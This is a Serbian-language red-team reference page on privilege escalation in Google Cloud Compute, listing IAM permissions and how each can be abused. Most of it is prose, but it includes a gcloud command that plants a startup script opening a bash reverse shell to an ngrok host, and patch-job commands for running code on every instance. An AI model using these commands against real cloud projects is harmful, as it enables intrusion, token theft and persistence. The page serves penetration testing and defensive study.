GCP - Compute Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Računar (Compute)

Za više informacija o Računaru i VPC (mreži) u GCP-u proverite:

GCP - Compute Enum

Imajte na umu da za izvođenje svih napada eskalacije privilegija koji zahtevaju izmenu metapodataka instance (kao dodavanje novih korisnika i SSH ključeva) potrebno je da imate dozvole za actAs nad SA vezanim za instancu, čak i ako je SA već vezan!

compute.projects.setCommonInstanceMetadata

Sa tom dozvolom možete modifikovati informacije o metapodacima instance i promeniti ovlašćene ključeve korisnika, ili kreirati novog korisnika sa sudo privilegijama. Na taj način, moći ćete da se prijavite putem SSH-a na bilo koju VM instancu i ukradete GCP Service Account sa kojim se instanca izvršava. Ograničenja:

  • Imajte na umu da GCP Service Accounts koji se izvršavaju u VM instancama podrazumevano imaju veoma ograničen opseg

  • Morate biti u mogućnosti da kontaktirate SSH server za prijavu

Za više informacija o tome kako iskoristiti ovu dozvolu proverite:

GCP - Add Custom SSH Metadata

Takođe možete izvesti ovaj napad dodavanjem novog startup skripta i restartovanjem instance:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Ovo ovlašćenje daje iste privilegije kao i prethodno ovlašćenje ali nad specifičnim instancama umesto celog projekta. Isti eksploiti i ograničenja kao i za prethodni deo važe.

compute.instances.setIamPolicy

Ovo ovlašćenje će vam omogućiti da dodelite sebi ulogu sa prethodnim privilegijama i eskalirate privilegije zloupotrebom istih.

compute.instances.osLogin

Ako je OSLogin omogućen na instanci, sa ovim ovlašćenjem možete jednostavno pokrenuti gcloud compute ssh [INSTANCA] i povezati se sa instancom. Nećete imati root privilegije unutar instance.

compute.instances.osAdminLogin

Ako je OSLogin omogućen na instanci, sa ovim ovlašćenjem možete jednostavno pokrenuti gcloud compute ssh [INSTANCA] i povezati se sa instancom. Imateće root privilegije unutar instance.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Moguće je kreirati virtuelnu mašinu sa dodeljenim Service Account-om i ukrasti token servisnog naloga pristupajući metapodacima kako biste eskalirali privilegije na njega.

Skripta za eksploataciju ovog metoda može se pronaći ovde.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Ako imate ovlašćenja osconfig.patchDeployments.create ili osconfig.patchJobs.exec možete kreirati posao ili implementaciju zakrpe. Ovo će vam omogućiti da se lateralno krećete u okruženju i ostvarite izvršenje koda na svim računarskim instancama unutar projekta.

Ako želite ručno eksploatisati ovo, moraćete kreirati ili posao za zakrpu ili implementaciju za pokretanje posla za zakrpu:

gcloud compute os-config patch-jobs execute --file=patch.json

Za implementaciju zakrpe:

gcloud compute os-config patch-deployments create my-update --file=patch.json

Automatizovani alati poput patchy postoje kako bi detektovali slaba ovlašćenja i automatski se kretali lateralno.

Možete takođe zloupotrebiti ovo za postojanost.

compute.machineImages.setIamPolicy

Dodelite sebi dodatna ovlašćenja za sliku računara.

compute.snapshots.setIamPolicy

Dodelite sebi dodatna ovlašćenja za snimak diska.

compute.disks.setIamPolicy

Dodelite sebi dodatna ovlašćenja za disk.

Bypass Access Scopes

Prateći ovaj link možete pronaći neke ideje kako zaobići pristupne opsege.

Lokalna eskalacija privilegija u GCP računarskoj instanci

GCP - local privilege escalation ssh pivoting

Reference

Last updated